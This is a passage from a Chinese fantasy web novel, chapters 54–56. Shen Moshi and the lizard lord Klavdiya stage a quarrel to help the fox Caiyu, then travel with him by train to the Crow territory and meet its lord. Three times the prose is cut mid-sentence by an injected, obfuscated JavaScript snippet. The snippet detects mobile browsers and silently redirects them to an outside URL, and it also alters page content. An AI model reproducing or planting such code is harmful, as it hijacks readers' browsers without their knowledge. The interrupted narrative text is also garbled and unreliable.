“姐姐……”彩玉被她的嗓门吓得一激灵,抬手抚上胸口,下意识转身去看沈莫失。 沈莫失皱着眉把受到了惊吓的彩玉护在了身后,“你到底要做什么?” “我做什么?我是不是跟你说过要你离他远点?” 克拉芙季雅见她这么护着这只狐狸,表情越发不善,毫不客气地伸出手指指向彩玉,嫌弃地上下打量他。 “这种东西有什么好的?” 沈莫失跨出一步挡住了克拉芙季雅指向彩玉的手指,又将她的手撇开,“你不要太过分了,彩玉胆子很小,会被你吓坏的。” “这只狐狸哪里胆子小了?”克拉芙季雅咬了咬牙,发出嘎吱嘎吱的响声,“我看他胆子大得很,什么事情都敢做得出来。” “哪天你掉坑里了才会知道他到底是什么货色。” “你不要乱说话,彩玉人很好的。” 见沈莫失不为所动的样子,克拉芙季雅气愤地哼了口气,干脆把袖子往上撸,露出粗壮有力的手臂来,“很好,很好是吧。” 克拉芙季雅撸着袖子,恶狠狠地看向彩玉,引得彩玉又往沈莫失的身后躲了躲,带着哭腔喊道。 “姐姐,领主大人这是怎么了?” “人家什么都没做过,为什么这么针对人家。” “人家好害怕啊。” 他那双水润的眸子从克拉芙季雅身上缓缓扫过,最后定在了沈莫失的脸上,纤长的手指轻轻拉住了她的衣摆。 “而且她居然还这么吼姐姐……” 偷瞄了眼沈莫失的表情后,彩玉掩下面容把自己彻底藏进了沈莫失身后,只隐约发出细微的嘤嘤声。 “我真的好心疼姐姐啊,姐姐的朋友怎么这么可怕。” “彩玉……”沈莫失一脸动容地又把他往身后藏了藏,对态度恶劣的克拉芙季雅怒目以视。 克拉芙季雅看着这只臭狐狸的举动,眼皮直跳,怒急反笑。 “呵!好家伙,我倒要看看,等我把你的嘴撕了,你还说不说得出这么‘好听’的话来。” “克拉法!” 对于克拉芙季雅口无遮拦的话,沈莫失提高音量制止了她,“你怎么这么无理取闹?彩玉只是个普普通通的游客罢了。” “你不能因为你对乌鸦领的偏见,就这么粗鲁地对待他。” “他从没做过什么不好的事情。” 沈莫失皱着眉,不赞同地看向克拉芙季雅。 “呜呜呜,姐姐。”彩玉一脸感动,在沈莫失身后委委屈屈地出声道。 “我知道姐姐是懂我的,可既然领主大人看不惯我,我……反正我本来就只是来旅游的罢了。” “现在也是时候回去了,”彩玉擦了擦眼角的泪水,啜泣道,“只是之后就再也见不到姐姐了,姐姐一定要好好照顾自己。” 说着,他几乎泣不成声,只眼神依旧满含留恋地看着沈莫失。 “彩玉!”沈莫失忙转身,扶着他的肩膀安慰他,“你不用在乎克拉法说的话,我一定会保护好你的。” “姐姐……” 彩玉感动地看着沈莫失,伏在她肩上一颤一颤地说道。 “没关系的姐姐,只要我回去了,领主大人也就不会为难姐姐了。” “彩玉,你可真是。”沈莫失心疼地看着瑟瑟发抖的彩玉,摸了摸他乱颤的耳朵。 “如果你坚持的话,至少让我送你一程吧。” “姐姐放心,我一个人可以平安回家的,领主大人心胸宽广,不至于为难我的。”彩玉抬起头,睁着双红彤彤的眼睛看向沈莫失。 “我要吐了。” 克拉芙季雅捂住嘴,喉咙里隐约发出咕噜声,满脸嫌恶地看着他这黏黏糊糊的举动,又把矛头指向了沈莫失。 “他是不是真的给你下了药了,所以你才会被他这么拙劣的演技迷惑?” “这只狐狸到底有哪里好了?你的眼光不至于这么糟糕吧?我给你送了那么多人你都没看上,最后居然看上这么只臭烘烘的狐狸!” 克拉芙季雅的音量越来越响,最后甚至是吼了出来,惹得围观众人一退再退。 “克拉法!人家都这么伤心了,你怎么能说这么难听的话。”沈莫失谴责地看向克拉芙季雅,把害怕的彩玉又往怀里揽了揽。 她似是想到了什么,一脸怀疑地质问克拉芙季雅,“人家要回家,你不会还打算在半路上暗害人家吧?” 彩玉闻言,在沈莫失怀里轻轻颤了一下。 沈莫失忙心疼地拍了拍他。 “哈哈!”克拉芙季雅闻言,不可思议地瞪大了眼睛,手指指向自己,“我?对付他我还需要搞这些小动作吗?” 沈莫失看着她这幅气急败坏的样子,越看越是不放心,当下坚决表示,“我会亲自把他送回去的,我要把他平平安安送回家。” 她轻声对着怀里的彩玉道:“放心吧,我不会让她有机会害你的。” 听了沈莫失的这番言论,克拉芙季雅眉毛挑得老高。 她用力地咬着牙,威慑感十足地盯着满脸泪痕的彩玉,扯出一个狞笑来,阴阳怪气地说道。 “呵!这种小事哪里还需要你出马?你放心吧,我会‘亲自’把他‘平平安安’地送回家的,保证不让他少一根头发。” 虽然面上还能保持平静,但明眼人都看得出来,她快要被沈莫失和彩玉这两人给气疯了。 嘴上说着不让彩玉“少一根头发”的话,语气却反而像是在保证,一定会让他“缺胳膊断腿”的一样。 对于如此表现的克拉芙季雅,沈莫失怎么可能会放下心来,当即坚定了自己要陪着彩玉回乌鸦领这件事。 “我会一直陪着彩玉的,你别想有机会报复他。”沈莫失毫不退让地与克拉芙季雅对峙。 “呜呜呜姐姐~” 顶着克拉芙季雅几乎就要当场杀人的神色,彩玉一脸感动地缩进了沈莫失的怀里,扮演一个柔弱可怜的旅客角色,做作地发出嘤嘤的哭声。 真是何等惹人怜爱的一幕啊。 沈莫失嘴角挂着诡异的笑容拍了拍彩玉的头,暗戳戳给情绪满分的克拉芙季雅比了个大拇指。 没想到啊,一向随心所欲的克拉芙季雅的演技居然意外地不错诶。 太棒了!下次有这样的活动还把她带上。 扮演“昏君”的沈莫失过了一把戏精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244902|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘾,玩得开心极了,对今天的闹剧十分满意。 至于被沈莫失点了个赞的克拉芙季雅。 她生气极了,对今天的闹剧十分不满。 她发现即使知道这是在演戏,她也完全受不了这样的智障剧情,面前的这一幕幕几乎让她两眼发黑。 巴不得穿越回过去给那个自告奋勇要来凑热闹的自己狠狠一巴掌,并且暗自下定决心再也不参与这样的活动了。 发火也发不尽兴,还不能砍了这只膈应人的狐狸,真是要气死她了! 至于为什么只想要砍了这只狐狸,而不去砍沈莫失? 开玩笑,自家姐妹怎么可能会有错啊!错的肯定是那只狐狸。 克拉芙季雅紧紧盯着那只窝在沈莫失怀里的臭狐狸,咬着牙像是在啃噬他的骨肉一般。 而被沈莫失揽在怀里的彩玉,仗着被她挡住了脸,不由得露出一脸心惊肉跳的表情,背后冷汗直冒,心脏跳得就快要从胸口里蹦出来。 他总觉得对面的克拉芙季雅是真的想要杀了他啊。 可他这不都是照着沈莫失的剧本来演的吗?! 不敢面对克拉芙季雅想要生剖了他的视线的彩玉,十分窝囊地又往沈莫失怀里躲了躲,内心泪流不止。 救命啊……这之后他真的还能活着回家吗? …… 那一场除了沈莫失以外无人高兴的剧目效果显著。 乌鸦那头完全相信了彩玉的能力,认为是他在其中作梗,才成功离间了沈莫失与克拉芙季雅之间的关系。 甚至还超出他们预期地把沈莫失“拐向”了乌鸦领。 彩玉满脸复杂地向乌鸦的下属汇报他的进度。 “是的,‘救世主’成功上钩了,她会跟着我一起回来的,不过……”彩玉扯了扯嘴角,欲言又止。 “怎么了吗?”下属压下欣喜的情绪,狐疑地看向他。 彩玉斟酌了一番,才小心翼翼地回道。 “您应该也听说过此前鬃狮蜥领主与‘救世主’的那次争吵了,您也知道那位的脾气有多糟糕,即使是‘救世主’也拦不住对方。” “所以那位也会跟我们一起上路。” 彩玉一口气说完,暗暗松了口气,看到对面惊诧的眼神时,还有些暗爽。 终于有人要经历和他一样担惊受怕的日子了。 这阵子他几乎都不敢一个人待着,生怕哪次转头就看到一抹高大的影子立在远处。 出于这些担忧自己人身安全的想法,这段时间他尽量多与沈莫失待在一块。 不过这一举动,虽然可以有效地避免克拉芙季雅对他下手,但好像也同时有效地惹恼了对方。 克拉芙季雅最近看他的眼神越发不善了。 想到那位的目光,彩玉不禁打了个寒颤,继续说道:“我会尽快出发的,也请领主那边做好准备吧。” 不尽快出发,他实在是承受不住克拉芙季雅的威胁了。 说不定哪天沈莫失就得在下水道里搜寻他的残骸了。 对于面色如丧考批的彩玉,乌鸦下属理解地拍了拍他,“放心吧,你的努力我们都看在眼里,领主绝对不会亏待你的。” 不亏待他就赶紧把他的要求满足啊,光是说这种话有什么用。 彩玉掩下不满的神色,抬头一如既往地笑道:“放心吧,我会继续努力的。” 54.启程 这已经不是沈莫失第一次突然表示要出远门了。 陆岭见怪不怪地给她安排好了所有的行李,在注意事项之外,还顺带附上了一份乌鸦领的旅游攻略。 “请一定注意安全,乌鸦领有其独特的社会环境。” 临行前,陆岭不厌其烦地仔仔细细叮嘱沈莫失。 “还有很重要的一点,如果乌鸦领主设宴,所有入口的饮食都需要格外注意。” 这么说着,陆岭又以一言难尽的目光瞥了眼凑在沈莫失边上的克拉芙季雅,难掩语气里的嫌弃意味。 “不过有她在,相信也不会有人那么不长眼的。” 正警惕地守在沈莫失身边,隔开她与那只臭狐狸的克拉芙季雅闻言,转头看向陆岭,扯出一个嘲讽的笑来。 “那还用你说,别烦了鹿妈妈,有我在难道还能让她出事吗?” “那我可真是太放心了。”陆岭皮笑肉不笑地阴阳了她一句,又转头看向沈莫失。 沈莫失正搓着红雪的狗头安抚她,“好啦好啦,猎刀妈妈不是还陪着你吗?” 红雪依恋地又在她怀里蹭了蹭,才仰起头来撒娇道:“你和妈妈是不一样的嘛。” 沈莫失被她的语调萌了一脸,调侃她道:“是的是的,你是猎刀的宝贝女儿,我是你的宝贝女儿嘛。” “哼。”红雪骄傲地翘起小尾巴,主动松开了沈莫失的腰。 “只管放心地去吧,我帮你看着家呢。”她双手背在身后,挺直了胸膛,像是个成熟的小大人一般站在陆岭和猎刀身边。 “只别忘了回来就好。”她弯起嘴角看着沈莫失。 一旁的陆岭笑着拍了拍她的肩,与她一起叮嘱沈莫失,“没错,只别忘了回来就好。” 虽然她也并不觉得那只乌鸦有能力把沈莫失留下,但沈莫失从来就爱给人“惊喜”,不叮嘱一句还真有些不放心。 被叮嘱了的沈莫失恍惚觉得这两人的神态居然有些相似起来了。 最后摸了一把红雪的头,沈莫失看向陆岭说道:“帮我看着点这孩子吧,我真怕我一不在她就又要去吃土了。” 猎刀意会地笑出声,看向被翻了黑历史的红雪,果不其然,见孩子又被气成了河豚模样。 小孩子装什么大人呢。 沈莫失对着红雪挑了挑眉,干脆利落地带着彩玉等人上了列车。 “走咯。” 直到挥别了沈莫失一行人,站台上的陆岭才后知后觉地意识到一点。 让沈莫失和科洛莫罗这俩人凑到一块,真的不会出些什么事故吗? 琢磨了下两人的性格,陆岭越想越是不放心,不过再怎么想,倒霉的应该都不可能是沈莫失。 想到这里,陆岭轻啧一声,把这些念头搁置了下去。 不管是谁要倒霉了,反正祝TA“好运”吧。 …… 这一趟的线路与上次去鬃狮蜥领的旅程是有部分重合的,不过上次,沈莫失与猎刀是去救人的,走得多少有些匆忙了,也没什么空余时间欣赏沿途的风景。 而这次,名义上只是为了送彩玉回家罢了,那就可以顺便悠闲地逛逛了。 沈莫失兴味盎然地琢磨着手上的旅游攻略,又无奈地看向一定要和她坐在一个车厢里的彩玉和克拉芙季雅。 “你们两个到底有什么毛病啊?”沈莫失费解地蹙起眉,“陆岭不是给我们定了好几个车厢吗?” 特别是这个家伙。 沈莫失嫌弃地上下打量一定要和她坐在一边的克拉芙季雅,不知道她今天又是抽的什么风。 这次的路程比上次近些,不过由于不赶时间,沈莫失专门要求了慢车。 所以陆岭依旧安排了私人车厢,两排卧铺的那种,就像她之前和猎刀一起坐过的一样。 她们三人本来应该是一人一间的,除此以外还预留出了好几间车厢。 沈莫失与彩玉倒是用不到这么多,不过克拉芙季雅到底是个领主。 虽然她平时都是只身一人地在诊所里晃荡,没有一点领主包袱的样子,可真要出门的时候还是要讲究些派头的。 ——即使她不在意,章鱼副手也会替她在意。 所以大部分车厢里坐的都是她的随从和下属们。 在沈莫失对面正襟危坐的彩玉闻言,偷瞄了一眼凶神恶煞的克拉芙季雅,勉强笑道:“只是想和姐姐多相处相处罢了。” 他是真的怕克拉芙季雅会趁沈莫失不在的时候把他推下铁轨。 现在列车上还都是她的人,不和沈莫失待在一块,他吃饭喝水都不放心。 “呵!”克拉芙季雅冷笑一声,不屑地瞥他一眼,又像是被他脏了眼睛般,转头去看沈莫失。 “怎么,他都能和你坐一起,我不行?”她指着彩玉,不满地张大了嘴,露出满嘴獠牙,看着心情就不是很美好。 “啧。” 沈莫失无奈地瞥她一眼,彩玉也就算了,克拉芙季雅怎么对自己的身形大小一点概念都没有。 这么大的一个家伙矗在她的车厢里,沈莫失感觉自己的行动都局促了几分。 她指着克拉芙季雅身下占据的一大块空间,埋怨她道:“这是我的车厢,我本来还可以坐得宽敞些,现在有你占着,我躺都躺不下了。” 克拉芙季雅对她的抱怨不以为意,拍了拍自己结实的大腿道:“这有什么,你可以躺我腿上啊,我又不介意。” 我介意啊! 沈莫失看着她那硬邦邦的大腿,嘴角直往下撇。 自觉给沈莫失添麻烦了的彩玉见状,小心翼翼地提议道:“姐姐不如坐我这边吧,我的尾巴可以给姐姐枕着。” 沈莫失想到他那柔软蓬松香喷喷的大尾巴,眼睛顿时一亮。 要知道她最开始可就是被他那尾毛绒绒的狐狸尾巴吸引住,才多看了他一眼,最终变成现在的局面的。 “好啊好啊!”她带着掩饰不住的笑容就要起身去彩玉那边。 不过还没等她站起来,手腕就先被人拽住了。 “干嘛啊?”沈莫失疑惑地转头看向克拉芙季雅。 克拉芙季雅眉头拧起,一脸不满之色,目光狠狠剜了一眼对面的大尾巴狐狸让他闭上嘴。 彩玉被她看得浑身一激灵,毛发从头炸到尾巴尖,谨慎地又往角落里躲了躲。 看着他识趣的表现,克拉芙季雅嘲讽地“呵”了一声,又把注意力放回到了沈莫失身上。 她不容置疑地把沈莫失按在了座位上,目光纠结地在她身上游移,挪动她的手臂,又动动她的肩膀。 被她摆弄了一阵的沈莫失越发摸不着头脑,“你要做什么?” 克拉芙季雅没理她的疑惑,自顾自地不知道在思考什么问题。 最后,好像终于找到了合适方法的克拉芙季雅轻快地扬起眉眼,像是对待小孩子一样,把沈莫失托起在空中,又平整地放了下来。 由于两人的体型差,这一套动作她做得轻松无比。 沈莫失手里捧着攻略,一脸懵地被她举到半空。 她没察觉到克拉芙季雅这一举动带有恶意,又实在不知道她在想些什么,干脆也就由她去,想看看她的目的到底是什么。 没想到又被她轻飘飘放了下来,直到后脑恰恰好地被搁置在了克拉芙季雅的大腿上,沈莫失才恍然大悟。 回想下克拉芙季雅刚才的举动,沈莫失几乎是立刻就被她逗笑了,捂着肚子在她腿上笑得直发颤。 “哈哈哈,你、你这是在做什么呀!” “哼。”克拉芙季雅不屑地瞟了眼那只臭狐狸,又强硬地把自己肉呼呼的尾巴塞进沈莫失怀里。 “哈哈哈哈。”沈莫失抱着她的尾巴,拿脸蹭她滑腻的鳞片,笑得根本停不下来。 虽然确实比不上毛绒绒的尾巴柔软,但是克拉芙季雅的鳞片摸起来温凉又顺滑,别有一番趣味。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252919|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然你这么热情,那我也就不客气啦。” 沈莫失没忍住又摸了摸这条粗壮的大尾巴,一时间有些爱不释手,干脆也就顺着克拉芙季雅的意窝在了她的怀里,一脸满足地把她的尾巴抱了个满怀。 克拉芙季雅闻言挑眉,自豪地低头拍了拍自己的尾巴,“比那只狐狸可好多了不是吗?” “哈哈哈哈。”沈莫失听了她的话,又是一阵开怀大笑。 一旁的彩玉见状,悄咪咪地把自己的尾巴掩在了身后。 惹不起惹不起。 …… “这种事情章鱼还让你来问我做什么?”克拉芙季雅皱着眉,不耐地翻看手里的一叠文件,轻声责问对面的下属。 由于她长期在外浪荡,她将很多权力都下放给了章鱼副手,一般很少会有需要她亲自决定的事情。 何况这还是在列车上,被下属找到的时候克拉芙季雅还以为领地内出了什么大事呢,章鱼要这么着急地找自己。 她都做好章鱼玩脱了需要她收拾烂摊子的准备了。 结果这都是些什么呀? “上一年的预算核对……这些小事她不能自己决定吗?”掂着这份文件,克拉芙季雅狐疑地看向发着抖站在原地的下属。 “……嗯?”沈莫失迷迷糊糊地睁开眼,就看到上方的克拉芙季雅正一脸不满地训斥下属。 她转头一看,对面的位置已经空了。 彩玉可不会主动离开她身边,看来是被克拉芙季雅打发出去了。 沈莫失脑子还懵着,懒得思考太多,又在克拉芙季雅怀里蹭了蹭。 她一如既往地起床困难。 “你醒了。”克拉芙季雅放低了音量,抬手置于她眼前,帮她适应睁眼后突变的光线。 “嗯。”沈莫失在她腹前又蹭了蹭,才突然反应过来什么,大脑逐渐清明了些。 她拂开克拉芙季雅挡在她眼前的手掌,转身疑惑地看向满头大汗的陌生人。 “她是你的下属?”沈莫失大着舌头含糊询问道。 这一觉睡得可真沉啊,克拉芙季雅的腿也蛮适合睡觉的,沈莫失不禁感慨道。 她用睡得发烫的脸颊蹭了蹭温凉的鳞片,才放开克拉芙季雅的尾巴,撑着手起身,跪坐在座位上,迷茫地看着那个陌生人。 她也不知道什么时候开始,自己就困得睡了过去,当然也不知道现在到底发生了些什么。 沈莫失眯了眯眼,试图看清楚那人的样貌。 克拉芙季雅看她摇摇晃晃的好像还没从梦里醒来一样,又伸出一只手撑住了她,才和她一起重新看向紧张的下属。 她越看越是觉得不对劲,盯着那人心虚的眉眼思索了一阵,才恍然大悟道:“哦!” “原来你没有经过章鱼啊。” 克拉芙季雅的神情一下子舒展了起来。 沈莫失还没来得及看清楚那人长什么样,门外就进来了几人,把她连拖带拽地绑了出去。 “领主!领主!我没有背叛你。” 她胡乱地挣扎着,尖利地叫喊,睁大了眼想要解释些什么。 不过克拉芙季雅并没有给她这个机会。 见到沈莫失下意识皱了皱眉,掩住了耳朵,她只一挥手,抓着她的几人就会意地捂住了那人的嘴。 那人不敢埋怨克拉芙季雅,便只一双眼睛愤愤不平地瞪着沈莫失,直到她被人拖拽了下去,消失在沈莫失眼前。 “啧,”克拉芙季雅嫌恶地摆了摆手,又补充道,“记得先把她的眼睛挖出来。” 后进来的下属之一点点头,看都不敢看沈莫失一眼,就垂眸为她们合上了车厢门。 沈莫失被这前后几人的反应搞得满脑袋问号,总觉得之前还是“昏君”的她好像一下子就成了个“妖妃”了。 以指为梳理了理睡得炸毛的头发,沈莫失看向克拉芙季雅,希望能得到一个解释。 “到底什么情况?” 55.乌鸦领 “可别告诉我说你只是心情不好,所以想随便搞死一个下属。”沈莫失打着哈欠,没想着给那人求情。 自从紊乱症得到了缓解,克拉芙季雅现在基本不会乱杀人了。 没看她那么嫌弃彩玉,来的这一路上也没把彩玉怎么样吗? 那肯定就是那人有些问题在,才会被克拉芙季雅这么对待了。 “我出来久了,领地里有些不安分的家伙罢了,不是什么大事。”克拉芙季雅毫不在意地解释道。 沈莫失瞥她一眼提醒她,“我们可是要去乌鸦领搞事的,可别我们还没做些什么,你先后院起火了。” “哼。”克拉芙季雅不屑地轻笑道,“她们可没那本事烧我的后院。” “我家副手可不是吃素的。” 克拉芙季雅想到大概率已经在家里嘎嘎乱杀,分身乏术才会让这个心怀不轨的家伙凑到她眼前来的章鱼副手,心情很好地眯起了眼。 以为她不在就敢造她的反了,也不看看自己都是些什么货色。 沈莫失扭着脖子活动筋骨,见她轻松惬意的样子,也安下了心来,挑眉笑道:“那我就放心了。” 门外又响起了轻微的动静,沈莫失抬眸看去,就看到一对狐狸耳朵小心翼翼地探了进来。 她顿时笑道:“啊!彩玉,你回来了。” 那对耳朵一僵,彩玉的脸缓缓出现在了门后,抬手和沈莫失打了个招呼。 接着,他又有些犹豫地看向坐在沈莫失一旁的克拉芙季雅。 克拉芙季雅冷哼一声,却也没有阻止他进门。 他暗自松了口气快步溜了进来,直到重新坐下,他才有工夫整理刚才听到的消息。 想到刚才看到的那像是杀鱼一般的场景,彩玉不由自主地抖了抖,低着头对克拉芙季雅的态度越发恭谨了些。 外头克拉芙季雅的下属们都在传,那个倒霉蛋就是因为惹恼了领主和“神选者”,才受到如此惩罚。 她们口中的“神选者”就是沈莫失,彩玉这还是知道的。 而在彩玉看来,要惹恼沈莫失的难度可不小,即使惹怒了她,她一般也不会用这么残忍的手段折磨对方。 所以这个传言大概只能听一半,他估计那个倒霉蛋只是惹恼了克拉芙季雅罢了。 而据说被惹恼了的克拉芙季雅……彩玉不敢抬头看她,只回忆起刚才进门时的那一瞥。 现在的克拉芙季雅看着可一点都没有不高兴的样子啊,反而好像还有些轻松的模样。 所以那人应该也没有做出什么让克拉芙季雅太生气的举动,可居然就落得如此下场。 而他…… 他可是让这位残暴的领主气到过咬牙的存在啊! 难以想象,等沈莫失觉得他没用了,克拉芙季雅到底会怎么报复自己。 想到这里,彩玉不禁又为自己无光的未来哀叹了一番,他在心里默默向沈莫失祈祷着。 慈悲的救世主啊,请一定要保佑他,看在他还算听话的份上,至少别让他落得和那个倒霉蛋一样的下场啊。 沈莫失倒是没注意到彩玉那些惶恐的小心思,不然她肯定会安慰对方的,并告诉对方他想多了。 等这些事情过去了,克拉芙季雅也不会对他有什么报复的想法的。 ——毕竟离开沈莫失后,现在的他其实还够不上能让克拉芙季雅看上眼的程度。 沈莫失趴在窗沿,指着前方的站台招呼二人,“我们是不是快要到了?” 彩玉闻声抬起头来,看向外头逐渐变得眼熟的风景。 确实是快到了。 乌鸦领。 沈莫失一跳下车,就看到不远处有几个披着彩羽的家伙快步走了过来,各色羽毛在站台的大风中飘摇着。 她转头看向克拉芙季雅,“这些人是?” 驯鹿领与鬃狮蜥领的礼服样式大差不差,都是披风样式,以红色为尊。 不过,处于中间地带的乌鸦岭的礼服样式却与其余两个领地都有不同,她们偏好各种五彩的羽毛。 所以这些目标明显是沈莫失一行人的家伙,在乌鸦领内的地位应该都不算低。 克拉芙季雅高昂起头颅,不屑地眯起眼,“臭乌鸦的小崽子们,接到消息了吧。” 说着,她斜眼扫向那只安分了一路的狐狸,嗤笑一声没再多话。 彩玉被她看得浑身一激灵,又往沈莫失身侧躲了躲,柔声解释道:“我的行动都是跟姐姐报备过的。” 沈莫失拍了拍他的肩,“没事,我们都知道的。” 这一阵工夫,那群人终于也走到沈莫失等人近前了。 “科洛莫罗领主,很高兴见到您。”为首之人身着一身雪白炫目的孔雀披肩,热情地招呼克拉芙季雅。 沈莫失看着她,不禁眯起了眼。 灿烂的阳光下,这人在简直像是在发光,除了瞳内还有一抹粉色外,从发丝到服饰都白得晃人眼。 克拉芙季雅的白令人想到骸骨,可这人却几乎像是要融化进光里一样。 “我是副手孔羽,欢迎您来到乌鸦领。”她带着柔和的笑意向克拉芙季雅行礼道。 克拉芙季雅一身随意自在的打扮,懒散地站在原地,嘲讽地扯起嘴角。 “乌鸦的耳朵可真灵敏啊,我临时决定出来逛逛,都能被他知道。” 孔羽但笑不语,略过了这个话题,只恭维她道:“像您这般耀眼的人物,走到哪里都会成为焦点的。” “还有这位沈女士,也祝您安。”她眸光一转,又恭敬地向一旁的沈莫失行礼。 沈莫失还没来得及反应,克拉芙季雅就一个闪身挡住了她,“跟我说着话呢,看什么别人,难不成是瞧不起我?” 沈莫失看着克拉芙季雅今天格外咄咄逼人的反应,不禁挑眉想着。 看来她是真的很讨厌那只乌鸦了,怪不得最开始那么积极地想要参与进她的计划里来。 孔羽并没有被她无理取闹的态度为难到,能屈能伸地又向克拉芙季雅道歉,“真是失礼了……” 她的一套社交辞令才刚开了个头,就又被不耐烦的克拉芙季雅打断了。 她皱着眉摆手道:“那个老不死的到底要你来干嘛的?要说就快些说完,不说就别挡道。” 沈莫失从克拉芙季雅身后探出头来,觉得这位孔雀副手确实是脾气好,接二连三地被刁难,都还能笑得一脸亲和友好。 孔羽只顿了顿,就自然地接道:“既然您着急,那我就直说了,领主大人为各位准备了接风宴,请各位务必赏脸参加。” 她从身后的随从手里接过请帖,恭敬地双手递出,又笑着将目光从克拉芙季雅身上移向她身后的众人,在沈莫失身上多停顿了几秒才移开。 态度很明显了,是希望沈莫失也能参加这次的宴会。 克拉芙季雅闻言,一下子就挑高了眉毛,“哈?他要我去我就去?以为自己是谁?” 沈莫失无语地看了她一眼,在背后戳了戳她,提醒克拉芙季雅她们这次来的目的。 克拉芙季雅感受到后腰处传来轻微的触感,眨了眨眼,不动神色地拿尾巴挥开了沈莫失的手。 “呵,不过算他运气好,我今天心情还不错。”克拉芙季雅从孔羽手上抽出请帖,随手就甩给了身后的下属。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262573|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着,也没管孔羽等人的反应,拉过沈莫失就快步离开了站台。 彩玉跟着沈莫失的脚步紧随其后,越过孔羽时,看到对方给他递了一个眼神。 看来是不放心克拉芙季雅这个随心所欲的性子,要他保证沈莫失也会出席晚宴。 彩玉垂眸,微不可查地点了点头。 反正去见乌鸦领主一面本就在沈莫失的计划里。 别管乌鸦领主准备了些什么,他都不觉得能给沈莫失造成什么麻烦。 看着前面脚步轻快的沈莫失,彩玉将那些突然升起的沉郁心情抛之脑后。 见她们彻底离开,孔羽才收起了那副温和无害的表情,缓缓沉下脸来,颈侧柔软的羽毛一下一下拂过她冰冷的脸颊。 …… 晚宴前。 沈莫失与克拉芙季雅一样,都只穿着一身日常的服饰,像是一群逛街逛到了宴会厅,所以随意地进来看看的旅客一般。 不过守卫们都是长了眼睛的,凶神恶煞的克拉芙季雅往那一站,就足以说明她们一行人的身份了。 将请帖交给守卫,沈莫失转头看向克拉芙季雅,轻声问道:“对于那位乌鸦领主,有什么需要注意的吗?” 克拉芙季雅难得神色温和,面带笑意,同样轻声回复沈莫失,“注意别给他脸就好了。” 沈莫失若有所思地点了点头。 “科洛莫罗!”领主乌楠一脸惊喜地从人群里走出,迎向克拉芙季雅一行人,热情地拍了拍她的手臂。 “好久不见,你真是风采依旧啊。” 沈莫失闻声看向这个精神矍铄的老人。 这人看着是绝对不年轻了,棕黄色的眼眸也略显暗沉,不过还是一头黑发,只略微夹杂了些白毛,十分讲究地梳理得十分光滑。 他年轻时说不定长得还算不错,即使现在老了,也能依稀看出曾经端正的五官,笑脸迎人的时候,只觉得这是个平和的老爷爷。 真是难以置信,面相如此和蔼的家伙,在外的风评会这么差。 “哈哈!”对于乌楠热情的态度,克拉芙季雅一眼假地笑了两声。 不过与在孔羽面前不同,对于乌鸦领主,她多少还有几分顾忌在。 “是啊,不像你,脸上的褶子又变多了啊。” 有顾忌,但顾忌得不多就是了。 沈莫失嘴角上翘,兴致盎然地听着克拉芙季雅的阴阳怪气。 克拉芙季雅低头瞥了眼乌楠稀疏的发顶,又漫不经心地补充道:“真是令人羡慕,这都是岁月的带来的智慧与魅力啊。” “像我这样的年轻人,应该一辈子都及不上你的智慧了吧。” 摸了摸自己头顶突出的棘状鳞片,克拉芙季雅意有所指地附赠一个状似友好的微笑。 聪明绝顶…… 想到这里,沈莫失的嘴角又上翘了几分。 “哈哈哈,现在的年轻人可真是会说话啊。” 就像是面对无理取闹的孩童一般,乌楠无奈地笑了笑,就翻过这一话题,语调宽和地继续和她寒暄。 真不愧是孔羽的上司,两人的行事作风可真是像极了。 都像块棉花一样让人使不上力,也难怪克拉芙季雅那么讨厌乌鸦领。 沈莫失余光瞥到克拉芙季雅笑得愈发灿烂的神色,想到她们这趟旅程的目的,不禁又为面前的乌楠点了根蜡烛。 “说起来,这位是?”说完了客套话,乌楠终于将目光转向了克拉芙季雅身侧的沈莫失,明知故问道。 沈莫失笑得一脸和煦,“我是你祖宗。” 顿时,连克拉芙季雅都向她投来惊奇的目光。 56.惯性 克拉芙季雅稍愣了愣,就反应了过来,低声笑着为沈莫失鼓起了掌。 没想到啊,沈莫失平时看着都是一副好脾气的样子,居然也能在这种场合里做出和她一样的事情来。 顶着两人诧异的眼神,沈莫失笑得柔和,好像完全没有做出在第一次见面的时候就对一位领主出言不逊的事情一样。 克拉芙季雅歪头看着她坦然的神色,笑得越发高兴。 与这两位自在的模样相比,被阴阳了的乌楠就显得有几分尴尬了。 克拉芙季雅说话难听,他也不是第一天知道了,都有心理准备,更何况今天的她还算收敛些的。 不过沈莫失就让他有些诧异了,以他此前了解到的情报来看,沈莫失的形象一向是温和可亲的。 并且由于陆岭那夸张的宣传,乌鸦领内不少人都觉得她是个慈悲为怀的“救世主”。 